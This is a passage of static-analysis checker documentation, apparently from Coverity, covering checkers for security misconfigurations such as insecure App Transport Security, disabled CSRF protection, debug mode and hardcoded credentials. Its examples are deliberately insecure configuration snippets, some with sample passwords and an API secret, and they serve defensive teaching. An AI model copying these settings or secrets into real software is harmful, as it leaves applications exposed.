    <httpRuntime enableVersionHeader="false" /> <!-- No defect. -->
    ...
  </system.web>
</configuration>
```

4.49. CONFIG.ATS_INSECURE

Security Checker

4.49.1. Overview

Supported Languages: Swift

CONFIG.ATS_INSECURE identifies insecure App Transport Security (ATS) configurations.

App Transport Security is an operating system feature introduced in iOS 9 for protecting the network communications of iOS applications. ATS enforces several security best practices and fails with a runtime exception when it detects any violations. However, configuration settings can disable some or all of this protection.

CONFIG.ATS_INSECURE reports specific values or omissions in configuration files (for example, `Info.plist`) that weaken the protection that App Transport Security provides. The impact depends on the legitimacy of the security exception and the nature of the application's network communications.

Enabled by default: CONFIG.ATS_INSECURE is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

4.49.2. Examples

This section provides one or more CONFIG.ATS_INSECURE examples.

The following example disables ATS globally allowing arbitrary insecure connections:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/
PropertyList-1.0.dtd">
<plist version="1.0">

...

<dict>
  <key>NSAppTransportSecurity</key>
  <dict>
```

```
<key>NSAllowsArbitraryLoads</key>
// Insecure ATS Configuration here
<true/>
</dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Location is required to retrieve the weather info for your current
place.</string>
</dict>

...

</plist>
```

4.50. CONFIG.CONNECTION_STRING_PASSWORD

Security Checker

4.50.1. Overview

Supported Languages: C#, Visual Basic

CONFIG.CONNECTION_STRING_PASSWORD finds cases where `Web.Config` files have connection string passwords that are not encrypted. The checker will report a defect if the `<add>` child of `<connectionStrings>` within `Web.Config` takes a `pwd=` attribute as a value. Explicitly specifying `pwd=` in attribute `<connectionStrings>` leaks an unencrypted connection string password. It is best practice to use a protected configuration to encrypt sensitive information.

Disabled by default: CONFIG.CONNECTION_STRING_PASSWORD is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.CONNECTION_STRING_PASSWORD along with other Web application checkers, use the `--webapp-security` option.

4.50.2. Defect Anatomy

CONFIG.CONNECTION_STRING_PASSWORD defects have a single event that identifies the security misconfiguration.

4.50.3. Examples

This section provides one or more CONFIG.CONNECTION_STRING_PASSWORD examples.

This example produces a defect report.

```
<configuration>
  <connectionStrings>
    <add name="Name" connectionString="connectDB=uDB; uid=db2admin; pwd=db2admin;
dbalias=uDB;" providerName="XXX" />
```

```
...
</connectionStrings>
</configuration>
```

This examples does not produce a defect report.

```
<configuration>
  <connectionStrings>
    <clear /> <!-- No defect-->
  </connectionStrings>
</configuration>
```

4.51. CONFIG.COOKIE_SIGNING_DISABLED

4.51.1. Overview

Supported Languages: JavaScript, TypeScript

The `CONFIG.COOKIE_SIGNING_DISABLED` checker flags `cookie-session` instances where the `signed` property is set to `false`, disabling cookie signing. In that situation, malicious users can freely modify session data. This will lead to the abuse of any functionality that uses session data. The default setting is `true`, which is a secure setting.

The `CONFIG.COOKIE_SIGNING_DISABLED` checker is disabled by default. To enable it, use the `--webapp-security` option to the `cov-analyze` command.

4.51.2. Examples

This section provides one or more `CONFIG.COOKIE_SIGNING_DISABLED` examples.

In the following example, a `CONFIG.COOKIE_SIGNING_DISABLED` defect is displayed for the property `signed` set to `false` in the `cookie-session` constructor.

```
        var express = require('express');
var app = express();
var cookieSession = require('cookie-session');

//use cookie-session middleware
app.use(cookieSession({
  name: 'session',
  keys: ['key1', 'key2'],
  signed: false
}));
```

4.52. CONFIG.COOKIES_MISSING_HTTPONLY

Security Checker

4.52.1. Overview

Supported Languages: C#, Visual Basic

CONFIG.COOKIES_MISSING_HTTPONLY finds cases where the `HttpOnly` flag for a cookie is explicitly disabled or not set in a configuration file (for example, through `Web.Config`). This flag is configured through an `httpOnlyCookies` attribute to `httpCookies`, as shown in the example below. The `HttpOnly` flag prevents client-side applications (JavaScript, for example) from getting access to a cookie. To prevent cross-site scripting attacks from stealing or modifying cookie data, it is a best practice to enable this cookie flag.

Disabled by default: CONFIG.COOKIES_MISSING_HTTPONLY is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.COOKIES_MISSING_HTTPONLY along with other Web application checkers, use the `--webapp-security` option.

4.52.2. Defect Anatomy

CONFIG.COOKIES_MISSING_HTTPONLY defects have a single event that identifies the security misconfiguration.

4.52.3. Examples

This section provides one or more CONFIG.COOKIES_MISSING_HTTPONLY examples.

```
<configuration>
  <system.web>
    <httpCookies httpOnlyCookies="false" />    <!-- Defect here. -->
    ...
  </system.web>
</configuration>

<configuration>
  <system.web> <!-- Defect here. -->
  ...
</system.web>
</configuration>

<configuration>
  <system.web>
    <httpCookies httpOnlyCookies="true" />    <!-- No defect here. -->
    ...
  </system.web>
</configuration>
```

4.53. CONFIG.CORDOVA_EXCESSIVE_LOGGING

Security Checker

4.53.1. Overview

Supported Languages: JavaScript, Typescript

`CONFIG.CORDOVA_EXCESSIVE_LOGGING` finds cases where Cordova applications have been configured with a `VERBOSE` or `DEBUG` log level.

Logs generated at the `VERBOSE` or `DEBUG` level can contain sensitive information.

- Network Request

Specifies URLs to which the application may make network requests.

- Intent

Specifies URLs that third-party applications may access, if the URL is registered with the application.

- Navigaton

Specifies URLs to which the application may navigate.

The `CONFIG.CORDOVA_EXCESSIVE_LOGGING` is disabled by default. You can use the `--webapp-security` option of the `cov-analyze` command to enable it.

4.53.2. Defect Anatomy

Impact: Low

The Cordova application has been configured to create excessive logs using a `DEBUG` or `VERBOSE` log level.

Excessive logging can expose sensitive information in log files.

Remediation: The log level of production Cordova applications should be set to `ERROR`, `WARN`, or `INFO` rather than `DEBUG` or `VERBOSE`.

4.53.3. Examples

This section provides one or more `CONFIG.CORDOVA_EXCESSIVE_LOGGING` examples.

In the following example, a `CONFIG.CORDOVA_EXCESSIVE_LOGGING` defect is displayed when the `LogLevel` preference is set to `DEBUG`.

```
<?xml version="1.0" encoding="utf-8"?>
<widget xmlns:cdv="http://cordova.apache.org/ns/1.0"
xmlns:vs="http://schemas.microsoft.com/appx/2014/htmlapps" xml:id="io.cordova.testapp"
version="1.0.0"
xmlns="http://www.w3.org/ns/widgets" defaultlocale="en-US">
  <name>TestApp</name>
```

```
<content src="index.html" />
<preference name="LogLevel" value="DEBUG" />
    // CONFIG.CORDOVA_EXCESSIVE_LOGGING defect at previous line
</widget>
```

4.53.4. Events

This section describes one or more events produced by the `CONFIG.CORDOVA_EXCESSIVE_LOGGING` checker.

- `MainEvent` - The configuration property `loglevel` is set to either `DEBUG` or `VERBOSE`.
- `Remediation` - Presents advice on how to address the defect by configuring the `loglevel` property to a setting other than `VERBOSE` or `DEBUG`.

4.53.5. Relationships with Taxonomies

OWASP Top 10 2017

A6:2017-Security Misconfiguration

OWASP Mobile Top 10 2016

M2:2016-Insecure Data Storage

Common Weakness Enumeration (CWE)

CWE-779: Logging of Excessive Data

4.54. CONFIG.CORDOVA_PERMISSIVE_WHITELIST

Quality Checker, Security Checker

4.54.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.CORDOVA_PERMISSIVE_WHITELIST` finds cases where a Cordova application has been configured with an overly permissive allow list. The allow list can be one of three kinds:

- `Network Request`
Specifies URLs to which the application may make network requests.
- `Intent`
Specifies URLs that third-party applications may access, if the URL is registered with the application.
- `Navigaton`

Specifies URLs to which the application may navigate.

The `CONFIG.CORDOVA_PERMISSIVE_WHITELIST` is disabled by default. You can use the `--webapp-security` option of the `cov-analyze` command to enable it.

4.54.2. Defect Anatomy

Impact: Low

This checker reports an error when an allow list configuration allows access to arbitrary URLs.

The implications of an allow list open to any URL depend on the type of allow list, as the following sections describe.

4.54.2.1. Network Request Allow List

Allowing outbound network requests to any domain without restrictions can result in the execution of malicious JavaScript code or enable a phishing page to be presented to the user.

Remediation: Configure the regular expression `<access origin>` so that the system only allows outbound network requests to specific URLs. Alternatively, you can use a strict Content Security Policy within the HTML page loaded in the `WebView`.

4.54.2.2. Intent Allow List

Allowing unrecognized URLs to be handled by third-party applications on the device can enable information leakage or phishing attacks.

Remediation: Configure the regular expression `<allow-intent>` regex so that only specific types of URLs—such as `http://`, `https://`, `sms:`, `geo:`, or `tel:`—are handled by other applications on the device.

4.54.2.3. Navigation Allow List

Allowing untrusted URLs to be opened by the application's `WebView` can result in malicious JavaScript code being executed within the context of the application, or can enable a phishing page to be presented to the user.

Remediation: Configure the regular expression `<allow-navigation>` so that the `WebView` is allowed to navigate only to specific URLs.

4.54.3. Examples

This section provides one or more `CONFIG.CORDOVA_PERMISSIVE_WHITELIST` examples.

The following example contains three permissive allow lists, so the `CONFIG.CORDOVA_PERMISSIVE_WHITELIST` defect will be reported three times. The Network Request allow list, `<access origin="*">`, allows outgoing requests for resources to any host. The

Intent allow list, `<allow-navigation href="*" />`, allows any application on the device registered for a URL to be loaded when a user clicks on such a URL from inside the Cordova application. The Navigation allow list, `<allow-intent href="*" />`, allows the application to navigate to any URLs without restrictions.

```
<?xml version="1.0" encoding="utf-8"?>
<widget xmlns:cdv="http://cordova.apache.org/ns/1.0"
xmlns:vs="http://schemas.microsoft.com/appx/2014/htmlapps" xml:id="io.cordova.testapp"
version="1.0.0" xmlns="http://www.w3.org/ns/widgets" defaultlocale="en-US">
  <name>TestApp< /name>
  <content src="index.html" />
  <access origin="*" /> // CONFIG.CORDOVA_PERMISSIVE_WHITELIST defect
  <platform name="android" />
    <allow-intent href="*" /> // CONFIG.CORDOVA_PERMISSIVE_WHITELIST defect
  </platform>
  <allow-navigation href="*" /> // CONFIG.CORDOVA_PERMISSIVE_WHITELIST defect
</widget>
```

4.54.4. Events

This section describes one or more events produced by the `CONFIG.CORDOVA_PERMISSIVE_WHITELIST` checker.

- `MainEvent` - The misconfigured XML element of the Cordova allow list plug-in.
- `Remediation` - Presents advice on configuring the appropriate URL regex in a more restrictive way.

4.54.5. Relationships with Taxonomies

OWASP Top 10 2017

A6:2017-Security Misconfiguration

OWASP Mobile Top 10 2016

M7:2016-Poor Code Quality

Common Weakness Enumeration (CWE)

CWE-183: Permissive List of Allowed Inputs

4.55. CONFIG.CSURF_IGNORE_METHODS

Security Checker

4.55.1. Overview

Supported Languages: JavaScript, TypeScript

`CONFIG.CSURF_IGNORE_METHODS` finds cases where the `csrf` middleware is configured to ignore requests with HTTP methods that change the server state, such as `POST`, `PUT`, `DELETE`, and so on.

When the Node module `csrf` is applied globally to the Express app (`app.use(csrf)`), by default it prevents CSRF on all HTTP methods that change the state, such as `POST`, `PUT`, `DELETE`, and so on. However, the list of methods that are ignored from the protections can be configured manually using the `ignoreMethods` setting in the `csrf` options that are passed to the default `csrf` module function.

To have `csrf` configured securely, either avoid setting `ignoreMethods` (as the default configuration is secure), or do not use any HTTP methods that change the state in the `ignoreMethods` list: `PUT`, `POST`, `DELETE`, `PATCH`.

Disabled by default: `CONFIG.CSURF_IGNORE_METHODS` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.CSURF_IGNORE_METHODS` along with other Web application checkers, use the `--webapp-security` option.

4.55.2. Examples

This section provides one or more `CONFIG.CSURF_IGNORE_METHODS` examples.

In the following example, a `CONFIG.CSURF_IGNORE_METHODS` defect is displayed for the statement that uses the `csrfProtection` instance on the app.

```
var express = require('express');
var app = express();
var csrf = require('csrf');
var csrfProtection = csrf({cookie: true, ignoreMethods: ['GET', 'POST']});

app.use(csrfProtection);           // CONFIG.CSURF_IGNORE_METHODS defect
```

4.55.3. Events

This section describes one or more events produced by the `CONFIG.CSURF_IGNORE_METHODS` checker.

- `MainEvent` - The configuration of the `Csurf` instance that ignores the unsafe HTTP methods.
- `Remediation` - Presents advice on how to address the defect by properly configuring ignored methods for CSRF protection.

4.56. CONFIG.DEAD_AUTHORIZATION_RULE

Security Checker

4.56.1. Overview

Supported Languages: C#, Visual Basic

CONFIG.DEAD_AUTHORIZATION_RULE identifies ASP.NET authorization rules that have no effect, which might indicate an error in the rule logic. Because the patterns are applied in the order in which they are written, a rule might never be applied if its pattern is dominated by an earlier one. Malicious users might exploit such errors to access unintended application content or to escalate privilege.

Disabled by default: CONFIG.DEAD_AUTHORIZATION_RULE is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.DEAD_AUTHORIZATION_RULE along with other Web application checkers, use the `--webapp-security` option.

4.56.2. Defect Anatomy

The main event for CONFIG.DEAD_AUTHORIZATION_RULE defects identifies an authorization rule that has no effect. There is a supporting event that indicates the rule that dominates it.

4.56.3. Examples

This section provides one or more CONFIG.DEAD_AUTHORIZATION_RULE examples.

The example shows the issue in a `Web.config` file in an ASP.NET application.

```
<configuration>
  <location path="user-only-content.aspx">
    <system.web>

      <authorization>
        <allow users="*" />
        <deny users="?" />    <!-- Defect: will not deny anonymous users as intended -->
      </authorization>

    </system.web>
  </location>
</configuration>
```

4.57. CONFIG.DJANGO_CSRF_PROTECTION_DISABLED

Security Checker

4.57.1. Overview

Supported Languages: Python

The CONFIG.DJANGO_CSRF_PROTECTION_DISABLED checker flags cases where `CsrfViewMiddleware` plugin is not enabled.

The `CONFIG.DJANGO_CSRF_PROTECTION_DISABLED` checker is disabled by default. It is enabled in Audit Mode.

4.57.2. Examples

This section provides one or more `CONFIG.DJANGO_CSRF_PROTECTION_DISABLED` examples.

In the following example, a `CONFIG.DJANGO_CSRF_PROTECTION_DISABLED` defect is displayed for the `MIDDLEWARE` list, since `django.middleware.csrf.CsrfViewMiddleware` is not added to it.

```
MIDDLEWARE = [ ##defect here.
    "django.middleware.common.CommonMiddleware",
]
```

4.58. CONFIG.DUPLICATE_SERVLET_DEFINITION

Security Checker

4.58.1. Overview

Supported Languages: Java

`CONFIG.DUPLICATE_SERVLET_DEFINITIONS` finds cases where multiple servlet definitions in the deployment descriptor share the same name. When the deployment descriptor (that is, `WEB-INF/web.xml`) has name collisions for servlets, only the first defined servlet will be deployed by the application container.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war` (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.DUPLICATE_SERVLET_DEFINITION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.DUPLICATE_SERVLET_DEFINITION` along with other Web application checkers, use the `--webapp-security` option.

4.58.2. Examples

This section provides one or more `CONFIG.DUPLICATE_SERVLET_DEFINITION` examples.

The following example shows the `web.xml` file with multiple servlets that share the same name:

```
<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
```

```
http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<servlet>
  <servlet-name>welcome</servlet-name>
  <servlet-class>WelcomeServlet</servlet-class>
</servlet>
<servlet> <!-- // The name ServletErrorPage is used multiple times -->
  <servlet-name>ServletErrorPage</servlet-name>
  <servlet-class>tests.Error.ServletErrorPage</servlet-class>
</servlet>
<servlet>
  <servlet-name>ServletErrorPage</servlet-name>
  <servlet-class>tests.Filter.ForwardedServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>welcome</servlet-name>
  <url-pattern>/hello.welcome</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>ServletErrorPage</servlet-name>
  <url-pattern>/ServletErrorPage</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>ForwardedServlet</servlet-name>
  <url-pattern>/ForwardedServlet</url-pattern>
</servlet-mapping>
</web-app>
```

4.58.3. Events

This section describes one or more events produced by the `CONFIG.DUPLICATE_SERVLET_DEFINITION` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.59. CONFIG.DWR_DEBUG_MODE

Security Checker

4.59.1. Overview

Supported Languages: Java

`CONFIG.DWR_DEBUG_MODE` finds cases where the debug mode for the Direct Web Remoting (DWR) framework is enabled. The checker inspects configuration files related to DWR (such as Spring bean definitions, deployment descriptor, and so on) and reports an issue when the debug flag is set to true.

When an application is deployed with the DWR debug mode enabled, any user can access information exposed under the debugging servlet. It is reachable at `http://<app context>/dwr/index.html`.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war` (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.DWR_DEBUG_MODE` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.DWR_DEBUG_MODE` along with other Web application checkers, use the `--webapp-security` option.

4.59.2. Examples

This section provides one or more `CONFIG.DWR_DEBUG_MODE` examples.

The following Spring `application-context.xml` explicitly enables the debug mode for DWR.

```
<beans
  xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:dwr="http://www.directwebremoting.org/schema/spring-dwr"
  xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-2.5.xsd
    http://www.directwebremoting.org/schema/spring-dwr
    http://www.directwebremoting.org/schema/spring-dwr-3.0.xsd">

  <dwr:controller xml:id="dwrController" debug="true">
    <dwr:config-param name="activeReverseAjaxEnabled" value="true"/>
  </dwr:controller>
</beans>
```

4.59.3. Events

This section describes one or more events produced by the `CONFIG.DWR_DEBUG_MODE` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.60. CONFIG.DYNAMIC_DATA_HTML_COMMENT

Security Checker

4.60.1. Overview

Supported Languages: C#, Java, Visual Basic

CONFIG.DYNAMIC_DATA_HTML_COMMENT finds cases where dynamic data output goes from the server to an HTML comment context.

The checker looks for any of the following types of server-side dynamic data output inside a client-side HTML comment:

- JSP EL expressions: `${bean.field}`
- JSP scriptlets: `<%= MyBean.getField() %>`
- JSP tags: `<c:out value="Some content"/>`
- ASPX server-side web forms: `<asp:HyperLink runat="server" ... />`
- ASPX inline expressions: `<%= expression %>`
- CSHTML inline expressions: `@arg` or `@ViewBag.key` or `@(Request.Parameter["foo"])`
- CSHTML inline statements: `@{ a = b; }`
- CSHTML built-in keywords: `@foreach(var c in List) { ... }`

In most cases, these issues can be solved by replacing the HTML comment with a JSP, ASPX, or CSHTML comment.

The impact of this issue depends on the nature of the data output to the HTML page by the application. Data that is not intended for the client to see may leak sensitive information. In any case, the server will perform unneeded processing and unnecessarily inflate the size of the resulting output.

Prerequisite: This checker runs on web-application template files. This code can be emitted by passing the WAR to `cov-emit-java` or using filesystem capture for JSPs. See *Coverity Analysis User and Administrator Guide* [🔗](#) (PDF [🔗](#) for more information).

Disabled by default: CONFIG.DYNAMIC_DATA_HTML_COMMENT is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.DYNAMIC_DATA_HTML_COMMENT along with other Web application checkers, use the `--webapp-security` option.

4.60.2. Examples

This section provides one or more CONFIG.DYNAMIC_DATA_HTML_COMMENT examples.

4.60.2.1. Java

The following JSP file outputs dynamic data twice, in the following order:

- Right after the `Hello` .
- Inside the HTML comment. The checker will report a defect for this issue because it is most likely to be residual debug code.

```
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
<html>
  <body>
    Hello ${fn:escapeXml(user.name)}! <!-- ${fn:escapeXml(user.nickname)} -->
  </body>
</html>
```

4.60.2.2. C#

The following ASPX block outputs dynamic data inside an HTML comment. It will be reported by this checker.

```
<!--
<asp:Content ID="body" ContentPlaceHolderID="body" runat="server">
  <div>Here is some content</div>
</asp:Content>
-->
```

It was intended that the content be suppressed from the client output, and this can be accomplished with a server-side ASPX comment as follows.

```
<%--
<asp:Content ID="body" ContentPlaceHolderID="body" runat="server">
  <div>Here is some content</div>
</asp:Content>
--%>
```

4.60.3. Defect Anatomy

`CONFIG.DYNAMIC_DATA_HTML_COMMENT` defect events identify the dynamic server-side data inside an HTML comment.

4.61. CONFIG.ENABLED_DEBUG_MODE

Security Checker

4.61.1. Overview

Supported Languages: C#, JavaScript, Python, TypeScript, Visual Basic

The `CONFIG.ENABLED_DEBUG_MODE` checker finds cases where debugging mode is enabled in a Web application. Depending on the language, having debugging enabled might lead to unexpected application behavior or to leaking sensitive information about the application's code and environment.

For JavaScript: The `CONFIG.ENABLED_DEBUG_MODE` checker finds cases where the `debugger` statement is used. This introduces a security risk, as it might lead to unexpected application behavior; such statements must be removed from the production code.

For Python: The `CONFIG.ENABLED_DEBUG_MODE` checker finds cases where the debug mode is enabled in Django applications. This leads to security risks because error handlers will display verbose error messages that may contain sensitive information.

Disabled by default: The `CONFIG.ENABLED_DEBUG_MODE` is disabled by default.

For C# and VisualBasic: to enable `CONFIG.ENABLED_DEBUG_MODE` along with other Web application checkers, use the `--webapp-security` option.

For JavaScript, TypeScript, and Python: to enable `CONFIG.ENABLED_DEBUG_MODE` along with other Audit checkers, use the `--enable-audit-checkers` option.

4.61.2. Examples

This section provides one or more `CONFIG.ENABLED_DEBUG_MODE` examples.

4.61.2.1. JavaScript

In the following example, a `CONFIG.ENABLED_DEBUG_MODE` defect is displayed where the `debugger` statement is used:

```
var sum = 0;

for (var i = 1; i<5; i++) {
    var sum = sum + i;
    Debug.write("loop index is " + i);
    debugger; //defect#CONFIG.ENABLED_DEBUG_MODE
}
```

4.61.2.2. Python

In the following example, a `CONFIG.ENABLED_DEBUG_MODE` defect is displayed where `DEBUG` is set to `True`.

```
DEBUG = True #defect here
```

4.61.2.3. Visual Basic

The following shows a `Web.config` file in an ASP.NET application:

```
<configuration>
  <system.web>
    <compilation debug="true"> // Defect here.
    ...
  </system.web>
```

```
...  
</configuration>
```

4.62. CONFIG.ENABLED_TRACE_MODE

Security Checker

4.62.1. Overview

Supported Languages: C#, Visual Basic

CONFIG.ENABLED_TRACE_MODE finds cases where ASP.NET trace mode is enabled in a Web application. When this feature is enabled for a single page or entire application, sensitive information will be attached to server responses, such as application state, server variables, and configuration details. Exposing these diagnostics is a security risk.

Disabled by default: CONFIG.ENABLED_TRACE_MODE is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable CONFIG.ENABLED_TRACE_MODE along with other Web application checkers, use the `--webapp-security` option.

4.62.2. Defect Anatomy

CONFIG.ENABLED_TRACE_MODE defects have a single event that identifies the security misconfiguration.

4.62.3. Examples

This section provides one or more CONFIG.ENABLED_TRACE_MODE examples.

A `Web.config` file in an ASP.NET application:

```
<configuration>  
  <system.web>  
    <trace enabled="true" localOnly="false" /> // Defect here.  
  ...  
  </system.web>  
  ...  
</configuration>
```

4.63. CONFIG.HANA_XS_PREVENT_XSRF_DISABLED

Security Checker

4.63.1. Overview

Supported Languages: JavaScript

`CONFIG.HANA_XS_PREVENT_XSRF_DISABLED` checker identifies HANA XS applications that do not have cross-site request forgery (XSRF) prevention enabled. This is recommended for all applications that are not strictly read-only.

Cross-site request forgery is an attack where a malicious actor tricks a user's browser into making a request to another site that exploits their credentials to modify some application state or perform an unwanted action.

To the server, a successful attack is no different than any legitimate action performed by the user. Both transactions originate from a browser client, and both transactions include proper session identifiers. It can be exceedingly difficult to detect a cross-site request forgery attack and recover after it has occurred.

XSRF prevention is enabled by adding a keyword to the application-access (`.xsaccess`) file. It is off by default.

When enabled, the HANA XS XSRF prevention feature will add server-side checks that all Browser sessions have a valid anti-forgery token. A token is generated for each session back-end, and any request that does not contain a valid token will be denied. The client may need to be modified to fetch and include the XSRF token header.

Disabled by default: `CONFIG.HANA_XS_PREVENT_XSRF_DISABLED` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.HANA_XS_PREVENT_XSRF_DISABLED` along with other Web application checkers, use the `--webapp-security` option.

4.63.2. Defect Anatomy

`CONFIG.HANA_XS_PREVENT_XSRF_DISABLED` defect events identify application-access files that do not enable XSRF prevention.

4.63.3. Examples

This section provides one or more `CONFIG.HANA_XS_PREVENT_XSRF_DISABLED` examples.

The following `.xsaccess` application-access file in a HANA XS application does not enable XSRF prevention, and the checker will report a defect.

```
{
  "exposed" : true,
  "authentication" : { "method" : "Form" }
}
```

This can be fixed by enabling the feature, as follows:

```
{
  "exposed" : true,
  "authentication" : { "method" : "Form" },
```

```
"prevent_xsrf" : true
}
```

4.64. CONFIG.HARDCODED_CREDENTIALS_AUDIT

Security Checker

4.64.1. Overview

Supported Languages: C#, Java, JavaScript, TypeScript

The `CONFIG.HARDCODED_CREDENTIALS_AUDIT` checker finds credentials directly in configuration files. Users with access to such configuration files could then use these credentials to access production data or services.

The `CONFIG.HARDCODED_CREDENTIALS_AUDIT` checker is disabled by default. It is enabled in audit mode.

4.64.2. Examples

This section provides one or more `CONFIG.HARDCODED_CREDENTIALS_AUDIT` examples.

In the following example, a `CONFIG.HARDCODED_CREDENTIALS_AUDIT` defect is displayed for hardcoded credentials in C# application's `web.config` file.

```
<?xml version = "1.0" encoding = "UTF-8"?>
<configuration>
  <Database>
    <add key="ConnectionString"
value="Server=172.16.200.60;Database=DEV_Multi_Tenant;Trusted_Connection=False;User
Id=sa;Password=eprocure" /> <!-- defect here -->
  </Database>
</configuration>
```

In the following example, a `CONFIG.HARDCODED_CREDENTIALS_AUDIT` defect is displayed for hardcoded credentials for a Spring Boot application in a `.yaml` file.

```
server:
  port: 8080
  contextPath: /SpringBootCRUDApp
spring:
  profiles: prod
datasource:
  sampleapp:
    url: jdbc:mysql://localhost:3306/websystique
    username: myuser
    password: mypassword # defect here
    driverClassName: com.mysql.jdbc.Driver
    defaultSchema:
```

```
maxPoolSize: 20
hibernate:
  hbm2ddl.method: update
  show_sql: true
  format_sql: true
  dialect: org.hibernate.dialect.MySQLDialect
```

4.65. CONFIG.HARDCODED_TOKEN

4.65.1. Overview

Supported Languages: JavaScript, TypeScript

The `CONFIG.HARDCODED_TOKEN` checker finds tokens, passwords, or keys stored directly in configuration files. Attackers with access to such configuration files might then use these tokens to access production data or services.

The `CONFIG.HARDCODED_TOKEN` checker is disabled by default. You can enable it with the `--webapp-security` option to the `cov-analyze` command.

4.65.2. Examples

This section provides one or more `CONFIG.HARDCODED_TOKEN` examples.

In the following example, `CONFIG.HARDCODED_TOKEN` defects are displayed for hardcoded tokens for Instagram in a `.env` file.

```
instagram_id=1582702853
instagram_secret=066c5c6c86aa4f3c9d7654ffed9d2686
```

4.66. CONFIG.HTTP_VERB_TAMPERING

Security Checker

4.66.1. Overview

Supported Languages: Java

`CONFIG.HTTP_VERB_TAMPERING`s finds cases where a `security-constraint` is defined and uses HTTP methods. The use of HTTP methods in the `security-constraint` tells the application container that the constraint only applies to these HTTP methods. It is usually easy to bypass such security constraints by changing the HTTP method to one that is not covered in the `security-constraint`. This can lead to bypassing the authorization check.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking `cov-emit-java --war`

(which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.HTTP_VERB_TAMPERING` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

Web application security checker enablement: To enable `CONFIG.HTTP_VERB_TAMPERING` along with other Web application checkers, use the `--webapp-security` option.

4.66.2. Examples

This section provides one or more `CONFIG.HTTP_VERB_TAMPERING` examples.

The following `security-constraint` in the deployment descriptor tells the application container that all `GET` or `POST` requests in the `/admin/` section of the application must be coming from a user that has the `admin` role.

```
<security-constraint>
  <web-resource-collection>
    <web-resource-name>admin-subapp</web-resource-name>
    <url-checker>/admin/*</url-checker>
    <http-method>GET</http-method>
    <http-method>POST</http-method>
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>
```

4.66.3. Events

This section describes one or more events produced by the `CONFIG.HTTP_VERB_TAMPERING` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.67. CONFIG.JAVAEE_MISSING_HTTPONLY

Security Checker

4.67.1. Overview

Supported Languages: Java

`CONFIG.JAVAEE_MISSING_HTTPONLY` finds cases where, in a Servlet 3.x deployment descriptor, the `HttpOnly` flag for the session ID cookie is explicitly disabled, or not set. The `HttpOnly` flag prevents

the client-side applications (JavaScript, and so on) from getting access to the value of the cookies. It is a best practice to enable this cookie flag to prevent a cross-site scripting attacks from stealing the session ID.

Prerequisite: This checker runs on and can generate defects on non-source code files such as configurations. To run this checker, you must first emit the configuration by invoking **cov-emit-java --war** (which is the same as `--webapp-archive`) or one of the following: `--findwars`, `--findwars-unpacked`, `--findears`, or `--findears-unpacked`.

Disabled by default: `CONFIG.JAVAEE_MISSING_HTTPONLY` is disabled by default. To enable it, you can use the `--enable` option to the **cov-analyze** command.

Web application security checker enablement: To enable `CONFIG.JAVAEE_MISSING_HTTPONLY` along with other Web application checkers, use the `--webapp-security` option.

4.67.2. Examples

This section provides one or more `CONFIG.JAVAEE_MISSING_HTTPONLY` examples.

The following snippet of a deployment descriptor (`web.xml`) shows that the developer explicitly disabled the `HttpOnly` flag.

```
<web-app>
...
<session-config>
  <cookie-config>
    <http-only>false</http-only>
  </cookie-config>
</session-config>
...
</web-app>
```

4.67.3. Events

This section describes one or more events produced by the `CONFIG.JAVAEE_MISSING_HTTPONLY` checker.

- `event` - (main event) The location of the issue.
- `remediation` - Advice on fixing the issue.

4.68. CONFIG.JAVAEE_MISSING_SERVLET_MAPPING

Security Checker

4.68.1. Overview

Supported Languages: Java

